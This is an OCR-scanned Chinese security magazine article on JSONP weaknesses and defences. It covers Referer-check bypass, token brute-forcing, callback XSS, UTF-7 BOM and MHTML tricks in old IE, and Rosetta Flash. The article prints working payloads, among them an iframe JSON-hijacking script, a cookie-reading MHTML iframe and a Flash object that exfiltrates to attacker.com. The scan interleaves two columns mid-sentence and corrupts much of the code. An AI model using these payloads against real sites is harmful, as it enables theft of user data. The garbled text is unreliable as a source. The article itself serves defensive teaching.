Ｃｏｖｅｒ Ｓｔｏｒｙ封面报道ｌ安全新知 Ｒｅｆｅｒｅｒ过滤（正则）不严谨 等），也能引发类似‘＇ＪＳＯＮ劫持”（攻击对象不 一例￣Ｎｈｔｔｐ：／／ｗｗｗ．ｑｑ．ｃｏｍ／ｌｏｇｉｎ．ｐｈｐ？ｃａｌｂａｃｋ＝ｃｂ这 定是ＪＳＯＮ）的攻击。 个ＵＲＬ输出数据时，使用了Ｒｅｆｅｒｅｒ过滤。但可惜 只过滤了是否包含ｑｑ．ｃｏｒｎ这样的关键词，而攻击 ｃａｌｌｂａｃｋ可定义导致的安全问题 者可以通过构造ＵＲＬ（例￣Ｎｈｔｔｐ：／／ｗｗｗ．ｑｑ ｃｏｒｎ ａｔｔａｃｋ．ｃｏｍ／ａｔｔａｃｋ．ｈｔｍ或ｈｔｔｐ：／／ｗｗｗ．ａｔｔａｃｋ．ｃｏｍ／ 为了方便前端开发调用，输出一般都是可定义 ａｔｔａｃｋ．ｈｔｍ？ｑｑ．ｃｏｍ）绕过Ｒｅｆｅｒｅｒ防御。 的，前文提到的ＰＨＰ实现的代码： ＜？ｐｈｐ ／／ｇｅｔＵｓｅ ｒｓ．ｐｈｐ 空Ｒｅｆｅｒｅｒ ￥ｃａｌＩｂａｃｋ＝￥＿ＧＥＴ【‘ｃａＩＩｂａｃｋ’】； Ｐｒｉｎｔ￥ｃａＩＩｂａｃｋ。‘（｛“ｉｄ”：”１”，”ｎａｍｅ” 在很多情况下，开发者部署过滤Ｒｅｆｅｒｅｒ来源时， 知道创宇”｝）；。； ？＞ 忽视了空Ｒｅｆｅｒｅｒ的过滤。一般情况下浏览器直接 就是因为可定义ｃａｌｌｂａｃｋ名输出点，导致了各种安 访问某ＵＲＬ是不带Ｒｅｆｅｒｅｒ的，因此很多防御部署 全问题。当然严格来说，里面提到的具体数据输 允许空Ｒｅｆｅｒｅｒ。恰恰由于这个疏忽，导致了整个 出也是可以利用的，只是本文重点强调ｃａｌｌｂａｃｋ这 防御系统奔溃，因为在通过跨协议调用ＪａｖａＳｃｒｉｐｔ 个输出点。 时，发送的ＨＴＴＰ请求中Ｒｅｆｅｒｅｒ为空。跨协议调用 的一个简单例子如下： Ｃｏｎｔｅｎｔ－Ｔｙｐｅ与ＸＳＳ漏洞 ＜ｉｆ ｒａｍｅ Ｓ ｒｃ＝”Ｊａｖａｓｃｒｉｐｔ：’＜ｓＣｒｉｐｔ＞ｆｕｎｃｔｉ ｏｎ ３ＳＯＮ（０）｛ａ ｅｒｔ（０．ｕｓｅｒｉｎｆｏ．ｕｓｅｒｉｄ）；｝《／ 在ＪＳＯＮ［￣０出现时，大多数开发者还没有良好的 ＳＣ ｒｉｐｔ＞＜ｓＣ ｒｉｐｔ Ｓ ｒｃ＝ｈｔｔＰ：／／ｗｗｗ－ｑｑ。ｃｏｍ／ Ｉｏｇｉｎ． 编码习惯。输出ＪＳＯＮ时，没有严格定义Ｃｏｎｔｅｎｔ— ｐｈｐ？ｃａｌｂａｃｋ＝３ＳＯＮ＞＜／ｓｃｒｉｐｔ＞‘“＞＜／ｉｆｔａｍｅ＞ ｐｅ（Ｃｏｎｔｅｎｔ－Ｔｙｐｅ：ａｐｐｌｉｃａｔｉｏｎ／ｊｓｏｎ），再加上 代码中我们使用＜ｉｆｒａｍｅ＞调用ＪａｖａＳｃｒｉｐｔ伪协议 ｃａｌｌｂａｃｋ输出点没有进行过滤，直接导致了一个典 来实现空Ｒｅｆｅｒｅｒ调用ＪＳＯＮ文件。 型的ＸＳＳ漏洞，上文演示的ｇｅｔＵｓｅｒｓ．ｐｈｐ就存在这 另外一种手段是通过随机ｔｏｋｅｎ防御，这项技术在 个问题： 腾讯的网站上应用较多，例如通过ｈｔｔｐ：／／ｒ．ｑｚｏｎｅ ｈｔ ｔ Ｐ：／／１ ２ ７．０ ０．１／ｇ ｅｔ Ｕ Ｓ ｅ ｒ ｓ．Ｐ ｈ Ｐ？ ｃａｌｌｂａｃｋ＝＜ｓｃｒｉＤｔ＞ａ ｅｒｔ（／ｘｓｓ／）＜／ｓｃｒｉｐｔ＞ ｑｑ．ｃｏｍ／ｃｇｉ—ｂｉｎ／ｔｆｒｉｅｎｄ／ｆｒｉｅｎｄｓｈｏｗｑｑｆｒｉｅｎｄｓ． ——对Ｃｏｎｔｅｎｔ－Ｔｙｐｅ来说，早期还有一部分人比较喜 ｃｇｉ？ｕｉｎ＝［ＱＱ号］＆ｇｔｋ＝【随机ｔｏｋｅｎ］输￣ＪＳＯＮ。这 欢使用ａｐｐｌｉｃａｔｉｏｎ／ｊａｖａｓｃｒｉｐｔ，而这个头在ＩＥ等浏 个方案是有效的，但同样存在防御实现不严谨的 览器下一样可以解析ＨＴＭＬ导致ＸＳＳ漏洞。对于这 问题。例如此ｔ０ｋｅｎ可通过以下方式暴力破解： 种类型的漏洞，防御主要从以下两点部署。 ｆｕｎｃｔｉｏｎ—ＣａｌＩｂａｃｋ（０）｛ ａｌｅｒｔ｛０．ｉｔｅｍｓ【Ｏｊ．ｕｉｎ）： ａ．严格定义Ｃｏｎｔｅｎｔ－Ｔｙｐｅ：ａｐｐｌｉｃａｔｉｏｎ／ｊｓｏｎ ｝ ｆ０ｒ（ｉ＝１７００８；ｉ＜１７００９；ｉ＋＋）｛／／暴力循环调用 这样的防御机制导致了浏览器不解析恶意插入 ｇｅｔｊＳＯＮ（”ｈｔｔＰ：／／ｒ．ｑ ｚ０ｎｅ－ｑｑｔ Ｃ０ｍ／Ｃｇｉ— ｂｉｎ／ｔｆ ｒｉｅ ｎｄ／ｆ ｒｉｅｎｄＳｈｏｗ＿ｑｑｆ ｒｉｅｎｄ Ｓ。 的ＸＳＳ代码（直接访问提示文件下载）。但凡事 —ｃｇｉ？ｕｉｎ＝ｎｎｌ１１＆ｇ—ｔｋ＝“＋ｉ）； 都有例外，在ＩＥ的进化过程中就曾出现通过一些 ｝ 当然，这些都是单纯针对“ＪＳＯＮ劫持”本身展 技巧，可以绕过Ｃｏｎｔｅｎｔ－ ｐｅ防御解析ＨＴＭＬ的 事件，例如在ＩＥ６、７等版本请求的ＵＲＬ文件后加 开的攻防战。在现实中，许多漏洞是相互配合实 一现突破的。例如上面提到的Ｒｅｆｅｒｅｒ＋部署随 个／ｘ．ｈｔｍｌ就可以解析ＨＴＭＬ（ｈｔｔｐ：／／１２７．０ ０．１／ 机ｔｏｋｅｎ实现都很完美，理论上无懈可击，但只 ｇｅｔＵｓｅｒｓ ｐｈｐ／ｘ．ｈｔｍｌ？ｃａｌｌｂａｃｋ＝＜ｓｃｒｉｐｔ＞ａ１ｅｒｔ（／ ｘｓｓ／）＜／ｓｃｒｉｐｔ＞），具体可参考ｈｔｔｐ：／／ｈｉ ｂａｉｄｕ．ｃｏｍ／ 要该网站存在ＸＳＳ漏洞，就可能让你的防御体系 ｈｉ ｈｅｉｇｅ／ｉｔｅｍ／ｆｌｅｃｄｅ０１ｃ４ａｆ３ｅｄ６１ｅｆ０４６４６。 瞬间崩溃！这里顺带一提，以上是一些通用实现 “ＪＳＯＮ劫持”的方法，但现实中，某些浏览器的 ｂ．过滤ｃａｌｌｂａｃｋ以及ＪＳＯＮ数据输出 一些特有处理机制（如ｃｓｓ加载、错误信息显示 这种机制是比较传统的攻防思维，对输出点进行 Ｃｏｖｅｒ Ｓｔｏｒｙ封面报道ｌ安全新知 ＸＳＳ过滤——又是一个看上去很完美的解决方 中的ｃａｌｌｂａｃｋ函数名输出点： 案，但往往都“事与愿违”。２０１１年，一个ｕｔｆ７一 ＜ｉｆ ｒａｍｅ Ｓ ｒｃ＝”ｍｈｔｍｌ：ｈｔｔＰ：／／１２７．０．０．Ｉ／ ｇｅｔＵｓｅｒｓ．ｐｈｐ？ｃａｌｌｂａｃｋ＝Ｃｏｎｔｅｎｔ—Ｔｙｐｅ％３Ａ％２０ ＢＯＭ就复活了ｎ￣＇ＸＳＳ漏洞。这种攻击方式主要存 ｍｕＩｔｉｐａ ｒｔ％２Ｆｒｅｆａｔｅｄ％３Ｂ％２０ｂｏｕｎｄａ ｒｙ％３Ｄ— 在于ＩＥ中（新版ＩＥ已修复），当我们在ｃａｌｌｂａｃｋ点 ｂＷＶｕｄＣ５ｊ ｂ２９ｒａＷＵｐＤ０ｐ９Ｄ０ｐｚｚｘＲｕａｗ１ｌｂ３ＶｅＫＣＪｊ 输出＋／ｖ８这样的ｕｔｆ７一ＢＯＭ时，ＩＥ浏览器会把当前 ｃｍ９ｚｃ２ＮＶｂｔｐＺＳｇｐＩｉｗｘＨＤＡｗＫＴｓＮＣｊ ｗＶｃ２ＮｙａｘＢ０Ｐ 执行的编码认为是ｕｔｆ７，因此我们通过ｕｔｆ７提交的 ｊｗｖＹｍｇｋｅＴ４ＮＣｇ％３Ｄ％３Ｄ％ＯＤ％ＯＡ－－＿ｂｏｕｎｄａｒｙ—ｂｙ— ｍｅｒｅ－－％ＯＤ％ＢＡ！ｃｏｏｋｉｅ”＞＜／ｉｆｒａｍｅ＞ ＸＳＳ代码会被自动解码并执行。例如： 关于这个案例，详见（（Ｈａｃｋｉｎｇ ｗｉｔｈ ＭＨＴＭＬ ｈ ｔ ｔ Ｐ：／／１ ２ ７・０－０・１／ｇ ｅ ｔ Ｕ Ｓ ｅ ｒ ｓ・ ｐｈｐ？ｃａｌＩｂａｃｋ＝％２Ｂ％２Ｆｖ８％２０％２ＢＡＤｗＡａＡＢＯＡＧＯＡＰｇ Ｐｒｏｔｏｃｏｌ Ｈａｎｄｌｅｒ￣（ｈｔｔｐ：／／ｗｗｗ．８０ｖｕ１．ｃｏｍ／ Ａ８ＡＧＩＡｂｗＢｋＡＨｋＡＰｇＡ８ＡＨＭＡＹｗＢｙＡＧｋＡｃＡＢＯＡＤ４ＡＹＱＢ ｍｈｔｍｌ／Ｈａｃｋｉｎｇ％２０ｗｉｔｈ％２０ｍｈｔｍｌ％２０ ｓＡＧＵＡｃｇＢＯＡＣｇＡＭＱＡｐＡＤｓＡＰＡＡｖＡＨＭＡＹｗＢｙＡＧｋＡｃＡＢＯ ＡＤ４ＡＰＡＡｖＡＧＩＡｂｗＢｋＡＨｋＡＰｇＡ８ＡＣ８ＡａＢＯＡＧＯＡＰｇ－％２０ ｐｒｏｔｏｃｏ１％２０ｈａｎｄｌｅｒ．ｔｘｔ）。 其中： 它充分利用了ｃａｌｌｂａｃｋ输出点直接输出ＭＨＴＭＬ ％２Ｂ％２Ｆｖ８％２０％２ＢＡＤｗＡａＡＢＯＡＧＯＡＰｇＡ８ＡＧＩＡｂｗＢｋＡＨｋ ＡＰｇＡ８ＡＨＭＡＹｗＢｙＡＧｋＡｃＡＢＯＡＤ４ＡＹＱＢｓＡＧＵＡｃｇＢＯＡＣｇＡ 文件格式，然后利用＜ｉｆｒａｍｅ＞调用ＭＨＴＭＬ标签 ＭＱＡｐＡＤｓＡＰＡＡｖＡＨＭＡＹｗＢｙＡＧｋＡｃＡＢＯＡＤ４ＡＰＡＡｖＡＧＩＡｂ 解析并执行ＨＴＭＬ及ＪａｖａＳｃｒｉｐｔ代码，这也是一个 ｗＢｋＡＨｋＡＰｇＡ８ＡＣ８ＡａＢＯＡＧＯＡＰｇ－￣２０ 通用性的ＸＳＳ漏洞（ＵＸＳＳ），随后微软紧急推出 ＵＲＬｄｅｃｏｄｅ为： 了解决方案及漏洞补丁程序。在微软推出安全补 ＋／ｖ８＋ＡＤｗＡａＡＢＯＡＧＯＡＰｇＡ８ＡＧＩＡｂｗＢｋＡＨｋＡＰｇＡＳＡＨＭＡ ＹｗＢｙＡＧｋＡｃＡＢＯＡＤ４ＡＹＱＢｓＡＧＵＡｃｇＢＯＡＣｇＡＭＱＡｐＡＤｓＡＰ 丁前，这个漏洞已影￣Ｇｏｏｇｌｅ等大型网站，当时 ＡＡｖＡＨＭＡＹｗＢｙＡＧｋＡｃＡＢＯＡＤ４ＡＰＡＡｖＡＧＩＡｂｗＢｋＡＨｋＡＰｇ Ａ８ＡＣ８ＡａＡＢＡＧ０ＡＰｇ一 Ｇｏｏｇｌｅ为了防御这类攻击启用的措施是，在ＪＳＯＮ ＋／ｖ８为ｕｔｆ７一ＢＯＭ，其后为我们注入通过 输出ｃａｌｌｂａｃｋ时，在文件开头增加了多个换行符， ｕｔｆ一７编码后的ＸＳＳ代码：＜ｈｔｍ＞＜ｂ０ｄｙ＞ 让远程ＭＨＴＭＬ调用时解析失败。 ＜ｓｃｒｉｐｔ＞ａｌｅｒｔ（１）；＜／ｓｃｒｉｐｔ＞＜／ｂｏｄｙ＞＜／ｈｔｍ＞。 在攻击角度来说，它充分利用了计算机体系的各 关于这个案例的详情可参考ｈｔｔｐ：／／ｈｉ．ｂａｉｄｕ．ｃｏｍ／ 种文件格式识别机制。在这个思维的引导下，之 ｈｉ ｈｅｉｇｅ／ｉｔｅｍ／３５７８３１ａｂ６９３２２３９ａ１４１０７３４６。 后还出现过多次由文件格式加载带来的安全问 题，例￣ｕｃｓｓ文件格式加载导致的类“ＪＳＯＮ劫 利用ｕｔｆ７一ＢＯＭ是一种非常有代表性的通用方 持”，ＪａｖａＳｃｒｉｐｔ￣Ｎ载及各种文件格式编码带来的 法，除了升级ＩＥ进行防御，开发者也可直接指定 Ｃｏｎｔｅｎｔ－Ｔｙｐｅ的编码（Ｃｏｎｔｅｎｔ－Ｔｙｐｅ：ａｐｐｌｉｃａｔｉｏｎ／ 安全问题等。历史进程往往会出现各种惊人的相 似，ＪＳＯＮＰ与文件格式的传奇还在上演。 ｊｓｏｎ；ｃｈａｒｓｅｔ＝ｕｔｆ－８）。然而尽管如此，仍有绕过这 些防御措施的可能。 ＦＬＡＳＨ与ＪＳＯＮＰ 上文提到的ａ、ｂ两种防御缺一都可能出现问题， 该来的终究会来，只是没想到相似的场景上演得 那么我们使用“ａ＋ｂ方案”是否就万无一失了呢？ 这么快。就在最近的一次Ｆｌａｓｈ安全更新（ｓｅｃｕｒｉｔｙ 一切皆有可能，我们拭目以待。 ｂｕＨｅ￣ｎ ＡＰＳＢ１４—１７）中修复了一个安全漏洞： 其他文件格式（Ｃｏｎｔｅｎｔ．Ｔｙｐｅ）与 Ｔｈｅｓｅ ｕｐｄａｔｅｓ ｉｎｃｌｕｄｅ ａｄｄｉｔｉｏｎａｌ ｖａｌｉｄａｔｉｏｎ ＪＳｏＮ ｃｈｅｃｋｓ ｔｏ ｅｎｓｕｒｅ ｔｈａｔ Ｆｌａｓｈ Ｐｌａｙｅｒ ｒｅｊｅｃｔｓ ｍａｌｉｃｉｏｕｓ ｃｏｎｔｅｎｔ ｆｒｏｍ ｖｕｌｎｅｒａｂ１ｅ ＪＳＯＮＰ ＭＨＴＭＬ与ＪＳ０ＮＰ ｃａｌｌｂａｃｋ ＡＰＩｓ（ＣＶＥ一２０１４—４６７１） ２０１１年，ＩＥ曾出现一个通过ＭＨＴＭＬ协议解析跨 这个漏洞因影响了Ｇｏｏｇｌｅ、Ｆａｃｅｂｏｏｋ、Ｔｕｍｂｌｒ等 域的漏洞：ＭＨＴＭＬ Ｍｉｍｅ—Ｆｏｒｍａｔｔｅｄ Ｒｅｑｕｅｓｔ 大网站而备受媒体关注。其攻击技术与ＪＳＯＮＰ Ｖｕｌｎｅｒａｂｉｌｉｔｙ（ＣＶＥ一２０１１－００９６，ｈｔｔｐｓ：／／ｔｅｃｈｎｅｔ． 的ｃａｌｌｂａｃｋ点息息相关。这个问题主要发生在 ｍｉｃｒｏｓｏｆｔ ｃｏｒｎ／ｌｉｂｒａｒｙ／ｓｅｃｕｒｉｔｙ／ｍｓ１１—０２６）。而当 ＨＴＭＬ通过＜ｅｍｂｅｄ＞、＜ｏｂｊｅｃｔ＞调用远程Ｆｌａｓｈ 时的一种常见攻击方式就是利用ＪＳＯＮＰ调用机制 文件时，会直接忽视Ｃｏｎｔｅｎｔ－Ｔｙｐｅ，而ＪＳＯＮＰ的 ５１ Ｃｏｖｅｒ Ｓｔｏｒｙ封面报道１安全新知 ５２ ｃａｌｌｂａｃｋ输出一般都在文件开头，那么完全可以 ＸＳＳ的过滤显然可以直接忽略，这个漏洞也证明 通过ｃａｌｌｂａｃｋ点输出一个ｓｗｆ的文件，然后远程 前文我们提到的“ａ＋ｂ方案”能被直接绕过。 ＨＴＭＬ调用并运行ｓｗｆ文件。例如： ＜ＳＣ ｒｉｐｔ＞ ／／ｆｒｏｍ ｈｔｔｐ：１１５０．５６．３３．５６／ｂｔＯｇ／？ｐ＝２４２ 防御 ｖａｔ ｆｌａｓｈｖａｒｓ＝｛）： ｖａｒ ｐａｒａｍｓ：｛｝： ｖａｒ ａｔｔｒｉｂｕｔｅｓ＝｛｝： 通过上面的攻防对抗演练，很多开发者可能会感 ｖａｒ ｕｒｌ＝“ｈｔｔｐ：／／１２７．０．０－１／ｇｅｔＵｓｅｒｓ。ｐｈｐ？ｃａ ｌｌｂａｃｋ＝ＣＷＳ％０７％ＡＡ％０１％００％ｅｅｘ％ＤＡＤＰ％ＣＩＮ％８２１％１ 觉有点悲剧，各种防御机制好像都有办法绕过。 ４％９Ｃ％ＥＤ％２２一ｊ ８％２１％２４％ＥＢ％８１％０３ｚ％Ｅ３％Ｅ２％ＩＦ％％Ｆ 这里我想到一个真理：没有绝对的安全。那么我 Ｃｑ％８０％ＩＥ％ＤＩ％３Ｆ％ｅ０％ｅｅ％ｅｅ％ＦＦ％ＦＦ％＠３％００％８４％２６ 们防御的意义在哪里呢？我认为防御的意义就是 Ｎ％Ａ８”； ｓｗｆｏｂｊ ｅｃｔ。ｅｍｂｅｄＳＷＦ（Ｕ ｒｌ，“ｃｏｎｔｅｎｔ”，“４００”， 虽然没办法让程序最安全（绝对安全），但可以 “２００”，”１０．０．０”，“ｅｘｐｒｅｓｓＩｎｓｔａＵ．ｓｗｆ”， 让它更安全。提高攻击者的技术成本和门槛是 ｆｌａｓｈｖａＦＳ，ｐａｒａｍｓ，ａｔｔｒｉｂｕｔｅｓ）； ＜／ｓｃ ｒｉｐｔ＞ 安全防御的一个主要并重要的思路。回到具体的 这是早在２０１２年就提出的通过ｃａｌｌｂａｃｋ输出的ｓｗｆ ＪＳＯＮＰ防御上，我们可以总结如下几点。 文件流，其实际效果是在被攻击的网站上存放了 ・严格安全地实现ＣＳＲＦ方式调用ＪＳＯＮ文件：限 一个恶意ｓｗｆ文件，ＨＴＭＬ远程调用这个ｓｗｆｊ＜件， ￣ｌｊＲｅｆｅｒｅｒ、部署一次 ｌ￣ｔｏｋｅｎ等。 可直接导致ＣＳＲＦ攻击。 ・严格安装ＪＳＯＮ格式标准输出ＣＯｎｔｅｎｔ— 关于具体上传Ｆｌａｓｈ文件带来的ＣＳＲＦ攻击，请参 ｐｅ及编码（Ｃｏｎｔｅｎｔ－Ｔｙｐｅ：ａｐｐｌｉｃａｔｉｏｎ／ｊｓｏｎ： 考 Ｆｌａ８ｈ＋ｕｐｌｏａｄ Ｃｓｒｆ攻击技术》一文（ｈｔｔｐ：／／ ｃｈａｒｓｅｔ＝ｕｔｆ一８）。 ｂｌｏｇ．ｋｎｏｗｎｓｅｃ ｃ０ｍ／２０１４／０６／ｆｌａｓｈｕｐｌｏａｄｃｓｒｆ—— ａｔｔａｃｋｉｎｇ／）。 －严格过滤ｃａｌｌｂａｃｋ函数名及ＪＳＯＮ数据的输出。 细心的朋友可能发现，上面代码ｃａｌｌｂａｃｋ输出的 ＿严格对ＪＳＯＮＰ输出ｃａｌｌｂａｃｋ函数名的长度 （例如防御上面Ｆｌａｓｈ输出的方法）。 ｓｗｆ文件流中存在各种特殊字符，通过前文提到的 “ｂ过滤ｃａｌｌｂａｃｋ以及ＪＳＯＮ数据输出”方案可以 －其他一些比较“猥琐”的方法：例如在ｃａｌｌｂａｃｋ ．直接拦截，对于Ｇｏｏｌｇｅ、Ｆａｃｅｂｏｏｋ这样久经考验 输出前加入其他字符（如／”／、换行符等）这样不 的大网站来说，防御不在话下。 影Ｐ￣ＪＳＯＮ文件加载，又能一定程度预防其他文 在Ｆｌａｓｈ更新“ｓｅｃｕｒｉｔｙ ｂｕｌｌｅｔｉｎ ＡＰＳＢ１４—１７”发布 件格式的输出。Ｇｍａｉｌ就曾使用ＡＪＡＸ的方式获取 后，该漏洞发现者给出了漏洞细节，其中一个亮 ＪＳＯＮ，通过在输出ＪＳＯＮ之前加入ｗｈｉｌｅ（Ｉ）；这样的 点，就是作者实现了一个纯ａｌｐｈａｎｕｍｅｒｉｃ输出ｓｗｆ 代码防止ＪａｖａＳｃｒｉｐｔ远程调用。ｅ 文件的方法： ＜ｏｂｊｅｃｔ ｔｙｐｅ＝。。ａｐｐｌｉｃａｔｉｏｎ／ｘ－ｓｈｏｃｋｗａｖｅ－ ｆｌａｓｈ“ ｄａｔａ＝“ｈｔｔｐｓ：／／ｖｕｌｎｅｒａｂｌｅ．ｃ０ｍ／ｅｎｄＯ０ｉｎｔ？ｃａ ｂａｃｋ＝ＣＷＳＭＩＫ１０ｈＣＤ０ＵＤ０ＩＺＵｎｎｎｎｎｎｎｎｎｎｎｎｎｎｎｎｎ ｎｎＵＵ５ｎｎｎｎｎｎ３Ｓｎｎ７ｉｉｕｄＩｂＥＡｔ３３３ｓｗＷｅｓｓＧＯ３ｓＤＤｔ ０００００００００００００００００００００００００００００００００００００００００ ０ｏ０ｏｏ００ｏ０００８８８８８８８８０ＮｊＯｈ”ｓｔｙｌｅ＝“ｄｉｓｐｌａｙ： ｎｏｎｅ“＞ ＜ｐａｒａｍ ｎａｍｅ＝。‘ＦｌａｓｈＶａｒｓ。‘ Ｖａ ｚ Ｕｅ：”ｕ ｒ ｚ＝ｈｔｔＰ Ｓ ／／ＶＵ ｚ ｎｅ ｒａｂ ｚｅ。ｃｏｍ／ ａｃｃ０ｕｎｔ／ｓｅｎｓ ｉｔ ｉｖｅ ｃｏｎｔｅｎｔ ｌｏｇｇｅｄ ｉｎ ＆ｅｘｆｉｌｔｒａｔｅ＝ｈｔｔｐ：／／ａｔｔａｃｋｅｒ．ｃｏｍ／ｌｏｇ．ｐｈｐ‘’＞ ＜／ｏｂｊ ｅｃｔ＞ 周景平 知道创宇首席安全官，曾是一名拥有５年多从业 具体请参考ｈｔｔｐ：／／ｍｉｋｉ．ｉｔ／ｂｌｏｇ／２Ｏ１４／７／８／ａｂｕｓｉｎｇ— 经验的外科医生，２０１２年加入知道创宇，转行安 全。网络ＩＤ：Ｓｕｐｅｒｈｅｉ（黑哥） ｊｓｏｎｐ—ｗｉｔｈ—ｒｏｓｅｔｔａ—ｆｌａｓｈ／。 因此，对于纯ａｌｐｈａｎｕｍｅｒｉｃ输出来说，那些针对
